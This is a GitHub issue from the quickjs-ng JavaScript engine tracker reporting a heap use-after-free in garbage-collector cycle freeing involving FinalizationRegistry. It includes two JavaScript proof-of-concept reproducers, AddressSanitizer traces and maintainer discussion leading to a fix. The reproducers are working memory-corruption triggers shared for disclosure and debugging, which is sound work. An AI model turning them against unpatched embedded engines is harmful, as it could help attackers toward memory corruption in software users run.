Skip to content

Heap use-after-free in FinalizationRegistry callback #1318

Closed

Description

@Qanux

Overview

The vulnerability occurs during the garbage collection cycle removal phase (gc_free_cycles) when a FinalizationRegistry object is part of a reference cycle and is also registered as a held value.

When gc_free_cycles frees objects in a cycle, it iterates through them and calls free_gc_object. If a target object in the cycle is freed, it triggers reset_weak_ref. If this target has a FinalizationRegistry entry, reset_weak_ref enqueues a cleanup job (js_finrec_job) and increments the reference count of the "held value" (which is the FinalizationRegistry object itself in this PoC) via JS_EnqueueJob.

Consequently, when free_gc_object is subsequently called on the FinalizationRegistry object (which is also part of the cycle), it detects the non-zero reference count (caused by the job) and moves the object to the gc_zero_ref_count_list instead of freeing it immediately, but crucially, it still strips the object of its properties and shape.

However, at the end of gc_free_cycles, the function unconditionally iterates over gc_zero_ref_count_list and calls js_free_rt on all items, freeing the memory of the FinalizationRegistry object despite the pending reference from the job queue. When the enqueued job eventually runs, it attempts to access the now-freed FinalizationRegistry object, resulting in a heap-use-after-free.

PoC

const {log} = console; 
 
let array_buffer = new ArrayBuffer(0x8); 
let data_view = new DataView(array_buffer); 

var roots = new Array(0x30000); 
var index = 0; 

function add_ref(obj) { 
    roots[index++] = obj; 
} 

function minor_gc() { 
    for (let i = 0; i < 8; i++) { 
        add_ref(new ArrayBuffer(0x200000)); 
    } 
    add_ref(new ArrayBuffer(8)); 
} 

// Callback that will access the freed object 
function unused_callback(heldValue) { 
    print("Callback Executed!"); 
    try { 
        // heldValue should be the 'fr' object which is freed. 
        // Accessing a property should crash or read garbage. 
        print("Held Value Type: " + typeof heldValue); 
        print("Accessing property on heldValue..."); 
        // accessing property on freed object 
        // This should trigger UAF 
        print("heldValue.id_check: " + heldValue.id_check); 
    } catch (e) { 
        print("Error in callback: " + e); 
    } 
} 

// Creating objects 
// We want target to be processed (freed) BEFORE fr. 
let target = { name: "target object" }; 

let fr = new FinalizationRegistry(unused_callback); 
fr.id_check = 12345; 

// Cycle setup 
// fr holds target strongly 
fr.strongRef = target; 

// target holds fr strongly 
target.strongRef = fr; 

// Register weak ref: 
// target is the object being watched. 
// fr is the held value. 
// When target dies, we get fr. 
fr.register(target, fr); 

// Clear roots 
target = null; 
fr = null; 

// Trigger GC 
print("Triggering GC..."); 
minor_gc(); 
print("GC Completed.");

ASAN output

Triggering GC...
GC Completed.
=================================================================
==172586==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000006530 at pc 0x563a5365763d bp 0x7ffd6b089520 sp 0x7ffd6b089510
READ of size 4 at 0x507000006530 thread T0
    #0 0x563a5365763c in JS_CallInternal (/home/or4nge/quickjs/qjs+0x8e63c)
    #1 0x563a536588cd in js_finrec_job (/home/or4nge/quickjs/qjs+0x8f8cd)
    #2 0x563a536763fe in JS_ExecutePendingJob (/home/or4nge/quickjs/qjs+0xad3fe)
    #3 0x563a53615eb2 in js_std_loop (/home/or4nge/quickjs/qjs+0x4ceb2)
    #4 0x563a535fdbb7 in main (/home/or4nge/quickjs/qjs+0x34bb7)
    #5 0x74ce80429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x74ce80429e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #7 0x563a535fe914 in _start (/home/or4nge/quickjs/qjs+0x35914)

0x507000006530 is located 0 bytes inside of 72-byte region [0x507000006530,0x507000006578)
freed by thread T0 here:
    #0 0x74ce808b4537 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
    #1 0x563a53681e52 in JS_RunGC (/home/or4nge/quickjs/qjs+0xb8e52)
    #2 0x563a536a42b2 in JS_NewObjectProtoClass (/home/or4nge/quickjs/qjs+0xdb2b2)
    #3 0x563a53704539 in js_create_from_ctor (/home/or4nge/quickjs/qjs+0x13b539)
    #4 0x563a53822009 in js_array_buffer_constructor (/home/or4nge/quickjs/qjs+0x259009)
    #5 0x563a5375fdb3 in js_call_c_function (/home/or4nge/quickjs/qjs+0x196db3)
    #6 0x563a53794c82 in JS_CallConstructorInternal (/home/or4nge/quickjs/qjs+0x1cbc82)
    #7 0x563a53649186 in JS_CallInternal (/home/or4nge/quickjs/qjs+0x80186)
    #8 0x563a53638223 in JS_CallInternal (/home/or4nge/quickjs/qjs+0x6f223)
    #9 0x563a537b553b in js_async_function_resume (/home/or4nge/quickjs/qjs+0x1ec53b)
    #10 0x563a537b9430 in js_async_function_call (/home/or4nge/quickjs/qjs+0x1f0430)
    #11 0x563a537b973a in js_execute_sync_module (/home/or4nge/quickjs/qjs+0x1f073a)
    #12 0x563a537bb726 in js_inner_module_evaluation (/home/or4nge/quickjs/qjs+0x1f2726)
    #13 0x563a537f1caf in JS_EvalFunction (/home/or4nge/quickjs/qjs+0x228caf)
    #14 0x563a535fe015 in main (/home/or4nge/quickjs/qjs+0x35015)
    #15 0x74ce80429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:
    #0 0x74ce808b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x563a5365ed26 in js_malloc (/home/or4nge/quickjs/qjs+0x95d26)
    #2 0x563a536a3f3d in JS_NewObjectProtoClass (/home/or4nge/quickjs/qjs+0xdaf3d)
    #3 0x563a53704539 in js_create_from_ctor (/home/or4nge/quickjs/qjs+0x13b539)
    #4 0x563a537aff60 in js_finrec_constructor (/home/or4nge/quickjs/qjs+0x1e6f60)
    #5 0x563a5375fdb3 in js_call_c_function (/home/or4nge/quickjs/qjs+0x196db3)
    #6 0x563a53794c82 in JS_CallConstructorInternal (/home/or4nge/quickjs/qjs+0x1cbc82)
    #7 0x563a53649186 in JS_CallInternal (/home/or4nge/quickjs/qjs+0x80186)
    #8 0x563a537b553b in js_async_function_resume (/home/or4nge/quickjs/qjs+0x1ec53b)
    #9 0x563a537b9430 in js_async_function_call (/home/or4nge/quickjs/qjs+0x1f0430)
    #10 0x563a537b973a in js_execute_sync_module (/home/or4nge/quickjs/qjs+0x1f073a)
    #11 0x563a537bb726 in js_inner_module_evaluation (/home/or4nge/quickjs/qjs+0x1f2726)
    #12 0x563a537f1caf in JS_EvalFunction (/home/or4nge/quickjs/qjs+0x228caf)
    #13 0x563a535fe015 in main (/home/or4nge/quickjs/qjs+0x35015)
    #14 0x74ce80429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free (/home/or4nge/quickjs/qjs+0x8e63c) in JS_CallInternal
Shadow bytes around the buggy address:
  0x0a0e7fff8c50: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
  0x0a0e7fff8c60: fd fd fd fd fd fd fd fd fd fa fa fa fa fa 00 00
  0x0a0e7fff8c70: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x0a0e7fff8c80: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
  0x0a0e7fff8c90: 00 00 00 fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0a0e7fff8ca0: fd fa fa fa fa fa[fd]fd fd fd fd fd fd fd fd fa
  0x0a0e7fff8cb0: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x0a0e7fff8cc0: fa fa fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0a0e7fff8cd0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
  0x0a0e7fff8ce0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x0a0e7fff8cf0: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==172586==ABORTING

Reporter credit: Qanux

Activity

  1. bnoordhuis commented on Jan 24, 2026

    @bnoordhuis
    Contributor

    @saghul introduced by 61c8fe6?

  2. saghul commented on Jan 24, 2026

    @saghul
    Contributor

    Not sure but I'll take a look!

  3. added
    bug
    on Feb 15, 2026
  4. martinetd commented on Feb 24, 2026

    @martinetd

    Not sure if this is the same but we hit this in edbrowse -- I've reproduced it in qjs with the following diff to qjs to run a gc before freeing the runtime:

    index 4aed6837e006..c354782fc250 100644
    --- a/qjs.c
    +++ b/qjs.c
    @@ -713,6 +713,7 @@ int main(int argc, char **argv)
         }
         js_std_free_handlers(rt);
         JS_FreeContext(ctx);
    +    JS_RunGC(rt);
         JS_FreeRuntime(rt);
     
         if (empty_run && dump_memory) {

    Here's a minimal-ish reproducer:

    class Eb$im {
        #finalizationGroup = new FinalizationRegistry(v => {});
    
        set(key, value) {
            const ref = new WeakRef(key);
            this.#finalizationGroup.register(key, {}, ref);
        }
    }
    
    function MR(f) {
        this.targets = new Eb$im;
    }
    
    MR.prototype.observe = function(target, cfg) {
        this.targets.set(target, cfg);
        target.subset = new Set;
        target.subset.add(this);
    }
    
    let sample = {};
    new MR(function () {}).observe(sample, {});

    And here's the asan output (similar enough to the original report)

    =================================================================
    ==1896081==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c66703e6530 at pc 0x00000044670f bp 0x7ffd5d211a50 sp 0x7ffd5d211a48
    READ of size 4 at 0x7c66703e6530 thread T0
        #0 0x00000044670e in JS_FreeValueRT /home/x/code/quickjs/quickjs.c:5906
        #1 0x00000042ba43 in JS_FreeRuntime /home/x/code/quickjs/quickjs.c:2150
        #2 0x000000404696 in main /home/x/code/quickjs/qjs.c:717
        #3 0x7ff6714f1680 in __libc_start_call_main (/lib64/libc.so.6+0x3680) (BuildId: adb97a93b3ce215bd1c316a17ac7abffa500675e)
        #4 0x7ff6714f1797 in __libc_start_main@GLIBC_2.2.5 (/lib64/libc.so.6+0x3797) (BuildId: adb97a93b3ce215bd1c316a17ac7abffa500675e)
        #5 0x000000400fb4 in _start (/home/x/code/quickjs/build/qjs+0x400fb4) (BuildId: 6aa2af0f037b26da7bf1e83901518c9a0222a763)
    
    0x7c66703e6530 is located 0 bytes inside of 72-byte region [0x7c66703e6530,0x7c66703e6578)
    freed by thread T0 here:
        #0 0x7ff6718ee4ef in free.part.0 (/lib64/libasan.so.8+0xee4ef) (BuildId: bcc44ebce5332cebdbad675fd59647503487ab0d)
        #1 0x00000042a9cd in js_def_free /home/x/code/quickjs/quickjs.c:1930
        #2 0x00000042904e in js_free_rt /home/x/code/quickjs/quickjs.c:1543
        #3 0x000000447ed9 in gc_free_cycles /home/x/code/quickjs/quickjs.c:6175
        #4 0x000000447f6b in JS_RunGC /home/x/code/quickjs/quickjs.c:6191
        #5 0x000000404687 in main /home/x/code/quickjs/qjs.c:716
        #6 0x7ff6714f1680 in __libc_start_call_main (/lib64/libc.so.6+0x3680) (BuildId: adb97a93b3ce215bd1c316a17ac7abffa500675e)
        #7 0x7ff6714f1797 in __libc_start_main@GLIBC_2.2.5 (/lib64/libc.so.6+0x3797) (BuildId: adb97a93b3ce215bd1c316a17ac7abffa500675e)
        #8 0x000000400fb4 in _start (/home/x/code/quickjs/build/qjs+0x400fb4) (BuildId: 6aa2af0f037b26da7bf1e83901518c9a0222a763)
    
    previously allocated by thread T0 here:
        #0 0x7ff6718ef43f in malloc (/lib64/libasan.so.8+0xef43f) (BuildId: bcc44ebce5332cebdbad675fd59647503487ab0d)
        #1 0x00000042a9af in js_def_malloc /home/x/code/quickjs/quickjs.c:1925
        #2 0x000000428e58 in js_malloc_rt /home/x/code/quickjs/quickjs.c:1524
        #3 0x0000004293ba in js_malloc /home/x/code/quickjs/quickjs.c:1607
        #4 0x00000044034c in JS_NewObjectFromShape /home/x/code/quickjs/quickjs.c:4991
        #5 0x000000440ea8 in JS_NewObjectProtoClass /home/x/code/quickjs/quickjs.c:5110
        #6 0x0000004411b9 in JS_NewObjectClass /home/x/code/quickjs/quickjs.c:5139
        #7 0x00000048ac80 in js_closure /home/x/code/quickjs/quickjs.c:15825
        #8 0x0000004900b4 in JS_CallInternal /home/x/code/quickjs/quickjs.c:16373
        #9 0x0000004964b5 in JS_CallInternal /home/x/code/quickjs/quickjs.c:16701
        #10 0x0000004b45b4 in JS_CallConstructorInternal /home/x/code/quickjs/quickjs.c:18865
        #11 0x0000004960b1 in JS_CallInternal /home/x/code/quickjs/quickjs.c:16683
        #12 0x0000004b45b4 in JS_CallConstructorInternal /home/x/code/quickjs/quickjs.c:18865
        #13 0x0000004960b1 in JS_CallInternal /home/x/code/quickjs/quickjs.c:16683
        #14 0x0000004b5712 in async_func_resume /home/x/code/quickjs/quickjs.c:18998
        #15 0x0000004b6dd3 in js_async_function_resume /home/x/code/quickjs/quickjs.c:19253
        #16 0x0000004b7ec9 in js_async_function_call /home/x/code/quickjs/quickjs.c:19372
        #17 0x0000004f43e8 in js_execute_sync_module /home/x/code/quickjs/quickjs.c:29130
        #18 0x0000004f5786 in js_inner_module_evaluation /home/x/code/quickjs/quickjs.c:29242
        #19 0x0000004f5ec1 in js_evaluate_module /home/x/code/quickjs/quickjs.c:29289
        #20 0x00000051f179 in JS_EvalFunctionInternal /home/x/code/quickjs/quickjs.c:34750
        #21 0x00000051f2e0 in JS_EvalFunction /home/x/code/quickjs/quickjs.c:34764
        #22 0x00000040184b in eval_buf /home/x/code/quickjs/qjs.c:128
        #23 0x000000401ab9 in eval_file /home/x/code/quickjs/qjs.c:165
        #24 0x00000040444a in main /home/x/code/quickjs/qjs.c:686
        #25 0x7ff6714f1680 in __libc_start_call_main (/lib64/libc.so.6+0x3680) (BuildId: adb97a93b3ce215bd1c316a17ac7abffa500675e)
        #26 0x7ff6714f1797 in __libc_start_main@GLIBC_2.2.5 (/lib64/libc.so.6+0x3797) (BuildId: adb97a93b3ce215bd1c316a17ac7abffa500675e)
        #27 0x000000400fb4 in _start (/home/x/code/quickjs/build/qjs+0x400fb4) (BuildId: 6aa2af0f037b26da7bf1e83901518c9a0222a763)
    
    SUMMARY: AddressSanitizer: heap-use-after-free /home/x/code/quickjs/quickjs.c:5906 in JS_FreeValueRT
    Shadow bytes around the buggy address:
      0x7c66703e6280: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
      0x7c66703e6300: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd
      0x7c66703e6380: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
      0x7c66703e6400: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
      0x7c66703e6480: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
    =>0x7c66703e6500: fd fa fa fa fa fa[fd]fd fd fd fd fd fd fd fd fa
      0x7c66703e6580: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
      0x7c66703e6600: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
      0x7c66703e6680: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd
      0x7c66703e6700: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
      0x7c66703e6780: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==1896081==ABORTING
    

    Please let me know if you'd rather I open a different issue - I've checked this is not a new regression, I've bisected it down to 61c8fe6 (v0.6.0)

  5. saghul commented on Feb 24, 2026

    @saghul
    Contributor

    Have you tried master?

  6. martinetd commented on Feb 24, 2026

    @martinetd

    Yes of course, sorry for not being clear about it -- master still has the problem (so #1352 didn't fix it)

  7. saghul commented on Feb 25, 2026

    @saghul
    Contributor

    Thanks for confirming.

  8. added a commit that references this issue on Feb 26, 2026
    36df68f
  9. saghul commented on Feb 26, 2026

    @saghul
    Contributor

    I have a tentative fix in #1366

  10. added a commit that references this issue on Feb 26, 2026
    78494db
  11. martinetd commented on Feb 27, 2026

    @martinetd

    Thank you for the quick fix! @eklhad confirmed this fixes our original problem in edbrowse :)

    Just a note about the test, iirc the UAF didn't happen with qjs without the explicit JS_RunGC() call for our last reproducer -- if you don't want to encourage using it by default it could be ifdef'd to only build with ASAN as follow

    diff --git a/qjs.c b/qjs.c
    index 17ef54a08208..267192570479 100644
    --- a/qjs.c
    +++ b/qjs.c
    @@ -713,6 +713,11 @@ int main(int argc, char **argv)
         }
         js_std_free_handlers(rt);
         JS_FreeContext(ctx);
    +#if defined(__has_feature) && __has_feature(address_sanitizer)
    +    // The extra GC pass can catch some bugs
    +    // see https://github.com/quickjs-ng/quickjs/issues/1318
    +    JS_RunGC(rt);
    +#endif
         JS_FreeRuntime(rt);
     
         if (empty_run && dump_memory) {

    (sorry if that's not how tests are normally run, I couldn't find how the tests/bug*.js are meant to be used)

    Either way we're good for now, thanks again.

  12. saghul commented on Feb 27, 2026

    @saghul
    Contributor

    I'll take a look 👍

  13. added a commit that references this issue on May 20, 2026
    4ec34e6
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bug

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions